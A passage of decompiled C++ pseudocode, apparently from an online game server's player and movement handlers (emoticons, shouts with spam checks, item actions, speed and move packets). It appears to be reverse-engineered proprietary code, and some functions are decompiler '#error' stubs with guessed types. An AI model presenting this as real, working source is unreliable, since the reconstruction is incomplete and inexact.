12))(v13, v4, &gpp); } LABEL_32: v27 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v14 = UseEffect::UsedItemEffect::operator__(&useditemeffect, v11); if ( v14 ) { v15 = v14->useeffectstruct; if ( v15 ) { if ( v15->UseEffectA == 9 ) { v16 = v15->UseValueA; goto LABEL_26; } if ( v15->UseEffectB == 9 ) { v16 = v15->UseValueB; goto LABEL_26; } if ( v15->UseEffectC == 9 ) { v16 = v15->UseValueC; LABEL_26: if ( v16 >= 0 ) { *((_WORD *)v5 + 1) = 7208; v5[4] = v16; v19 = ProtocolPacket::pp_SetPacketLen(&gpp, 5); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v19, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Packet Too Long", 5) ) { v20 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v20 + 12))(v20, v4, &gpp); } *(_WORD *)v5 = 8225; *((_WORD *)v5 + 1) = handle; v5[4] = v16; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v21 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v27) = 1; v22 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v22, v21, 0, 0, (int)&alchat, 1, 65535); *(_BYTE *)(*((_DWORD *)v4 + 8040) + 80) = v16; *(_WORD *)(*((_DWORD *)v4 + 8040) + 81) = 0; (*(void (__thiscall **)(void *, signed int, int, _DWORD))(*(_DWORD *)v4 + 2628))(v4, 4, v16, 0); LOBYTE(v27) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_32; } goto LABEL_27; } } } LABEL_27: *((_WORD *)v5 + 1) = 7211; v17 = ProtocolPacket::pp_SetPacketLen(&gpp, 5); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Packet Too Long", 5) ) { v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v18 + 12))(v18, v4, &gpp); } goto LABEL_32; } (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2648))(v4); v27 = -1; v24 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ"; LABEL_38: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v24); } //----- (0044C3F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD(void *this, int netcmd, int len, int handle) { void *v4; // esi@1 unsigned int v5; // ebx@1 unsigned int v6; // edi@5 void *v7; // eax@6 char *v8; // [sp-4h] [bp-24h]@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 2940))(v4, 0) == 1 ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2648))(v4); v8 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD"; } else { if ( gActionViewInfo.m_pHead ) v5 = gActionViewInfo.m_pHead->nNumOfRecord; v6 = 0; if ( !v5 ) goto LABEL_11; while ( 1 ) { v7 = CDataReader::GetRecord(&gActionViewInfo, v6); if ( v7 ) { if ( *(_BYTE *)v7 == *(_BYTE *)(netcmd + 2) ) break; } ++v6; if ( v6 >= v5 ) goto LABEL_11; } if ( *(_DWORD *)((char *)v7 + 101) != 2 ) { LABEL_11: if ( v6 != v5 ) (*(void (__thiscall **)(void *, int, _DWORD))(*(_DWORD *)v4 + 2636))(v4, handle, *(_BYTE *)(netcmd + 2)); } v8 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v8); } //----- (0044C500) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_DoEmotion(void *this, __int16 handle, unsigned __int8 emoticonID) { void *v3; // esi@1 char *v4; // eax@7 int v5; // ST04_4@7 int v6; // eax@7 char *v7; // [sp-4h] [bp-2Ch]@6 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@7 int v9; // [sp+24h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DoEmotion"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_DoEmotion"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; if ( !(_S25_8 & 1) ) { _S25_8 |= 1u; cmc_32.cmc_AllowMode = 70; atexit(_E26_7); } if ( (1 << **((_BYTE **)v3 + 892)) & cmc_32.cmc_AllowMode ) { if ( *(_DWORD *)((char *)v3 + 98) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2256))(v3); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8225; *((_WORD *)v4 + 1) = handle; v4[4] = emoticonID; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v5 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v9) = 1; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v6, v5, 0, 0, (int)&alchat, 1, 65535); *(_BYTE *)(*((_DWORD *)v3 + 8040) + 80) = emoticonID; *(_WORD *)(*((_DWORD *)v3 + 8040) + 81) = 0; (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v3 + 2628))(v3, 4, emoticonID, 0); LOBYTE(v9) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v7 = "ShineObjectClass::ShinePlayer::sp_DoEmotion"; goto LABEL_8; } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_DoEmotion : Invalid map", 0); } v7 = "ShineObjectClass::ShinePlayer::sp_DoEmotion"; LABEL_8: --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); } //----- (0044C690) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 unsigned int v5; // ebp@1 int v6; // esi@7 unsigned int v7; // ebx@8 void *v8; // eax@11 char *v9; // eax@15 int v10; // ST04_4@15 int v11; // eax@15 int v12; // edx@15 char *v13; // [sp-4h] [bp-30h]@6 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@15 int v15; // [sp+28h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; v15 = 0; if ( !(_S27_0 & 1) ) { _S27_0 |= 1u; cmc_33.cmc_AllowMode = 70; atexit(_E28_1); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_33.cmc_AllowMode) ) goto LABEL_6; if ( *(_DWORD *)((char *)v4 + 98) == 0 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD : Invalid map", 0); LABEL_6: v15 = -1; v13 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD"; goto LABEL_17; } v6 = netcmd + 2; if ( gActionViewInfo.m_pHead ) v7 = gActionViewInfo.m_pHead->nNumOfRecord; else v7 = 0; if ( v7 ) { do { v8 = CDataReader::GetRecord(&gActionViewInfo, v5); if ( v8 && *(_BYTE *)v8 == *(_BYTE *)v6 ) break; ++v5; } while ( v5 < v7 ); } if ( v5 != v7 ) { v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8227; *((_WORD *)v9 + 1) = handle; v9 += 4; *(_WORD *)v9 = *(_WORD *)v6; v9[2] = *(_BYTE *)(netcmd + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 7); v10 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v15) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v11, v10, 0, 0, (int)&alchat, 1, 65535); v12 = *((_DWORD *)v4 + 8040) + 80; *(_WORD *)v12 = *(_WORD *)v6; *(_BYTE *)(v12 + 2) = *(_BYTE *)(netcmd + 4); LOBYTE(v15) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } v15 = -1; v13 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD"; LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); } //----- (0044C850) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_Chat(__int16 reciever, int chatstr, int len, char chatwin) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Chat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_Chat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Chat"); } //----- (0044C8A0) -------------------------------------------------------- #error "44C8A0: undefined or illegal type '#593' (funcsize=120)" //----- (0044CA40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD(void *this, int netcmd, int len, signed int handle) { int v4; // esi@1 int v5; // eax@4 signed int v6; // [sp-Ch] [bp-2Ch]@12 int v7; // [sp-8h] [bp-28h]@12 int v8; // [sp-4h] [bp-24h]@12 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S31_6 & 1) ) { _S31_6 |= 1u; cmc_34.cmc_AllowMode = 126; atexit(_E32_6); } if ( !((1 << **(_BYTE **)(v4 + 3568)) & cmc_34.cmc_AllowMode) ) goto LABEL_6; v5 = *(_DWORD *)(v4 + 98); if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD: Invalid map", 0); LABEL_6: --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD"); return; } if ( !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 154) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1236))(v4) <= shineparam.scp_param.shoutlevel ) goto LABEL_6; if ( clockwatch.cw_CurrTick > *(_DWORD *)(v4 + 143276) ) { *(_DWORD *)(v4 + 143276) = clockwatch.cw_CurrTick + 10 * shineparam.scp_param.shoutdelay; if ( !ShineObjectClass::ShinePlayer::sp_SpamCheck((void *)v4) ) { if ( ShineObjectClass::ShinePlayer::sp_IsSpameChatBan(v4) ) { v8 = netcmd + 3; v7 = (int)byte_635E1E; v6 = handle; } else { v8 = netcmd + 3; v7 = (int)byte_635E1E; v6 = 65535; } (*(void (__thiscall **)(int, signed int, int, int, _DWORD))(*(_DWORD *)v4 + 1328))( v4, v6, v7, v8, *(_BYTE *)(netcmd + 2)); CCharacterTitleZone::CT_BroadCast((CCharacterTitleZone *)(v4 + 140400)); } } v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0044CBE0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_Shout(__int16 reciever, int chatername, int chatstr, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::smo_Shout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::smo_Shout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::smo_Shout"); } //----- (0044CC30) -------------------------------------------------------- #error "44CC30: undefined or illegal type '#593' (funcsize=122)" //----- (0044CDD0) -------------------------------------------------------- #error "44CDD0: undefined or illegal type '#593' (funcsize=129)" //----- (0044CF90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MobDistribute(void *this) { void *v1; // esi@1 int (__stdcall **almd)(int, int, int); // [sp+4h] [bp-14h]@1 void *v3; // [sp+8h] [bp-10h]@1 int v4; // [sp+14h] [bp-4h]@1 v1 = this; AxialListIterator::AxialListIterator((AxialListIterator *)&almd); almd = &AxialListMobDistribute::_vftable_; v3 = v1; v4 = 0; ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&almd, 1); v4 = -1; almd = &AxialListMobDistribute::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almd); } // 63E028: using guessed type int (__stdcall *AxialListMobDistribute___vftable_)(int, int, int distancesquar); //----- (0044D000) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_SendSpeedInformation(void *this) { void *v1; // esi@1 int v2; // edi@1 int v3; // eax@1 char *v4; // ecx@3 int v5; // eax@5 v1 = this; v2 = (unsigned __int16)(*(int (**)(void))(*(_DWORD *)this + 1300))(); v3 = (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1296))(v1); if ( *((_WORD *)v1 + 70194) != v2 || *((_WORD *)v1 + 70193) != v3 ) { *((_WORD *)v1 + 70193) = v3; *((_WORD *)v1 + 70194) = v2; v4 = gpp.pp_Buffer; *(_DWORD *)gpp.pp_Buffer = *((_DWORD *)v1 + 35096); *((_WORD *)v4 + 2) = *((_WORD *)v1 + 70194); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD : Packet Too Long", 6); } } } //----- (0044D0A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SendSpeedInformation(void *this, char bSpeedCheck) { void *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 char *v5; // ecx@4 int v6; // eax@6 v2 = this; v3 = (unsigned __int16)(*(int (**)(void))(*(_DWORD *)this + 1300))(); v4 = (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1296))(v2); if ( *((_WORD *)v2 + 70194) != v3 || *((_WORD *)v2 + 70193) != v4 || !bSpeedCheck ) { *((_WORD *)v2 + 70193) = v4; *((_WORD *)v2 + 70194) = v3; v5 = gpp.pp_Buffer; *(_DWORD *)gpp.pp_Buffer = *((_DWORD *)v2 + 35096); *((_WORD *)v5 + 2) = *((_WORD *)v2 + 70194); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD : Packet Too Long", 6); } } } //----- (0044D150) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_ReinforceMove(void *this, int towhere, int speed, int mvdir, int buf, char myself) { void *v6; // edi@1 int v7; // edx@1 char *v8; // eax@6 int v9; // esi@6 int v10; // eax@6 char v11; // bl@6 int v12; // edx@6 int v13; // ST04_4@6 int v14; // eax@6 char *v15; // [sp-4h] [bp-30h]@3 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@6 int v17; // [sp+28h] [bp-4h]@1 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_ReinforceMove"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_ReinforceMove"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = *(_DWORD *)((char *)v6 + 98); v17 = 0; if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ : Invalid map", 0); LABEL_3: v17 = -1; v15 = "ShineObjectClass::ShineMobileObject::so_ReinforceMove"; goto LABEL_9; } if ( *((_BYTE *)v6 + 6946) & 2 || ((*(void (__thiscall **)(void *))(*(_DWORD *)v6 + 2256))(v6), (*(void (__thiscall **)(void *))(*(_DWORD *)v6 + 3400))(v6), !MapBlock::MapBlockInformation::mbi_OccupCellCheck( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v6 + 98) + 20), *(_DWORD *)towhere, *(_DWORD *)(towhere + 4), 1)) ) goto LABEL_3; (*(void (__thiscall **)(void *, int, int, signed int, int))(*(_DWORD *)v6 + 1624))(v6, towhere, speed, 3, mvdir); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8297; v9 = (int)(v8 + 2); *((_WORD *)v8 + 1) = *((_WORD *)v6 + 2); v10 = *(_DWORD *)((char *)v6 + 78); *(_DWORD *)(v9 + 2) = *(_DWORD *)v10; *(_DWORD *)(v9 + 6) = *(_DWORD *)(v10 + 4); v11 = *(_BYTE *)(v9 + 20); *(_DWORD *)(v9 + 10) = *(_DWORD *)towhere; v12 = *(_DWORD *)(towhere + 4); *(_BYTE *)(v9 + 20) = (v11 ^ mvdir != 0) & 1 ^ v11; *(_WORD *)(v9 + 18) = speed; *(_DWORD *)(v9 + 14) = v12; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 23); v13 = *(_DWORD *)((char *)v6 + 78); LOBYTE(v17) = 1; v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v6, v14, v13, 0, 0, (int)&alchat, 1, 65535); if ( buf ) { *(_DWORD *)buf = *(_DWORD *)v9; *(_DWORD *)(buf + 4) = *(_DWORD *)(v9 + 4); *(_DWORD *)(buf + 8) = *(_DWORD *)(v9 + 8); *(_DWORD *)(buf + 12) = *(_DWORD *)(v9 + 12); *(_DWORD *)(buf + 16) = *(_DWORD *)(v9 + 16); *(_BYTE *)(buf + 20) = *(_BYTE *)(v9 + 20); } LOBYTE(v17) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v17 = -1; v15 = "ShineObjectClass::ShineMobileObject::so_ReinforceMove"; LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v15); } //----- (0044D320) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ReinforceMove(void *this, int towhere, int speed, int mvdir, int buf, char myself) { void *v6; // esi@1 int v7; // edx@1 int v8; // edx@5 int v9; // ecx@5 int v10; // edx@5 int v11; // ecx@5 int v12; // eax@5 int runcmd; // [sp+Ch] [bp-24h]@3 int v14; // [sp+10h] [bp-20h]@5 int v15; // [sp+14h] [bp-1Ch]@5 int v16; // [sp+18h] [bp-18h]@5 int v17; // [sp+1Ch] [bp-14h]@5 char v18; // [sp+20h] [bp-10h]@5 int v19; // [sp+2Ch] [bp-4h]@1 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ReinforceMove"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ReinforceMove"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = *(_DWORD *)((char *)v6 + 98); v19 = 0; if ( v7 ) { ShineObjectClass::ShineMobileObject::so_ReinforceMove(v6, towhere, speed, mvdir, (int)&runcmd, myself); if ( myself ) CeaseFireSender::cfs_Initialize((CeaseFireSender *)v6 + 32164); ShineObjectClass::ShinePlayer::sp_SkillShiftCancel(v6); v8 = v14; *((_DWORD *)v6 + 49) = runcmd; v9 = v15; *((_DWORD *)v6 + 50) = v8; v10 = v16; *((_DWORD *)v6 + 51) = v9; v11 = v17; *((_DWORD *)v6 + 52) = v10; LOBYTE(v10) = v18; *((_DWORD *)v6 + 53) = v11; *((_BYTE *)v6 + 216) = v10; v12 = *((_DWORD *)v6 + 8040); *((_WORD *)v6 + 97) = 105; v12 += 80; *(_WORD *)v12 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v12 + 2) = byte_130BDA42; } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ : Invalid map", 0); } --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ReinforceMove"); } // 130BDA40: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 130BDA42: using guessed type char byte_130BDA42; //----- (0044D460) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_ShootMeTo(void *this, int targetlocate) { void *v2; // esi@1 int v3; // ecx@1 int v4; // edi@3 AbnormalStateDictionary::AbState::AbStateStr *v5; // eax@3 SubAbStateInfo *v6; // ecx@4 AbnormalStateDictionary::AbState::AbStateStr *v7; // eax@7 unsigned int v8; // eax@9 int v9; // eax@10 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ShootMeTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_ShootMeTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; if ( *(_DWORD *)((char *)v2 + 98) ) { v4 = 1000; v5 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, STA_BODYFORCE); if ( v5 ) { v6 = v5->subabstate[1].assa_info; if ( v6 ) v4 = v6->KeepTime; (*(void (__thiscall **)(void *, void *, signed int, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, int, signed int))(*(_DWORD *)v2 + 1584))( v2, v2, 55, 1, v5, clockwatch.cw_CurrTick, 0, -1, v4, 9); ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v2, 55); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v2, 55, v4, 1); (*(void (__thiscall **)(void *, signed int, int, signed int))(*(_DWORD *)v2 + 1004))(v2, 55, v4, 1); } v7 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, STA_CANNOTCONTROL); if ( v7 ) { (*(void (__thiscall **)(void *, void *, signed int, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, int, signed int))(*(_DWORD *)v2 + 1584))( v2, v2, 60, 1, v7, clockwatch.cw_CurrTick, 0, -1, v4, 9); (*(void (__thiscall **)(void *, signed int, int, signed int))(*(_DWORD *)v2 + 1004))(v2, 60, v4, 1); } v8 = DirectDistanceTable::ddt_Distance( &ddt, *(_DWORD *)targetlocate - **(_DWORD **)((char *)v2 + 78), *(_DWORD *)(targetlocate + 4) - *(_DWORD *)(*(_DWORD *)((char *)v2 + 78) + 4)); if ( v4 ) v9 = (signed int)(1000 * v8) / v4; else v9 = 100; (*(void (__thiscall **)(void *, int, int, _DWORD, _DWORD, signed int))(*(_DWORD *)v2 + 2612))( v2, targetlocate, v9, 0, 0, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ShootMeTo"); } else { funcallanalizer.fca_stackpoint = v3 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ShootMeTo"); } } //----- (0044D610) -------------------------------------------------------- #error "44D610: undefined or illegal type '#593' (funcsize=13)" //----- (0044D640) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_StopHere(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // edx@2 int v4; // eax@2 char *v5; // eax@3 int v6; // edx@3 int v7; // ST04_4@3 int v8; // eax@3 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@3 int v10; // [sp+20h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_StopHere"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_mobile_StopHere"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 59); v10 = 0; if ( v2 != 3 ) { v3 = *((_DWORD *)v1 + 58); *((_DWORD *)v1 + 59) = 0; *((_DWORD *)v1 + 65) = 0; *((_DWORD *)v1 + 66) = 0; *((_DWORD *)v1 + 67) = 0; *((_DWORD *)v1 + 68) = 0; *((_DWORD *)v1 + 69) = 0; *((_DWORD *)v1 + 60) = 0; v4 = *(_DWORD *)(v3 + 78); *((_DWORD *)v1 + 63) = *(_DWORD *)v4; *((_DWORD *)v1 + 64) = *(_DWORD *)(v4 + 4); } *((_WORD *)v1 + 97) = 0; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8211; *((_WORD *)v5 + 1) = *((_WORD *)v1 + 2); v6 = *(_DWORD *)((char *)v1 + 78); *((_DWORD *)v5 + 1) = *(_DWORD *)v6; *((_DWORD *)v5 + 2) = *(_DWORD *)(v6 + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 12); v7 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v10) = 1; v8 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v8, v7, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v10) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_StopHere"); } //----- (0044D790) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0044D800) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, LuaFuncTrigger::TriggerChat *const *_Val) { std::vector > *v4; // esi@1 LuaFuncTrigger::TriggerChat **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #593 **v16; // eax@25 LuaFuncTrigger::TriggerChat **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #593 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (LuaFuncTrigger::TriggerChat *const 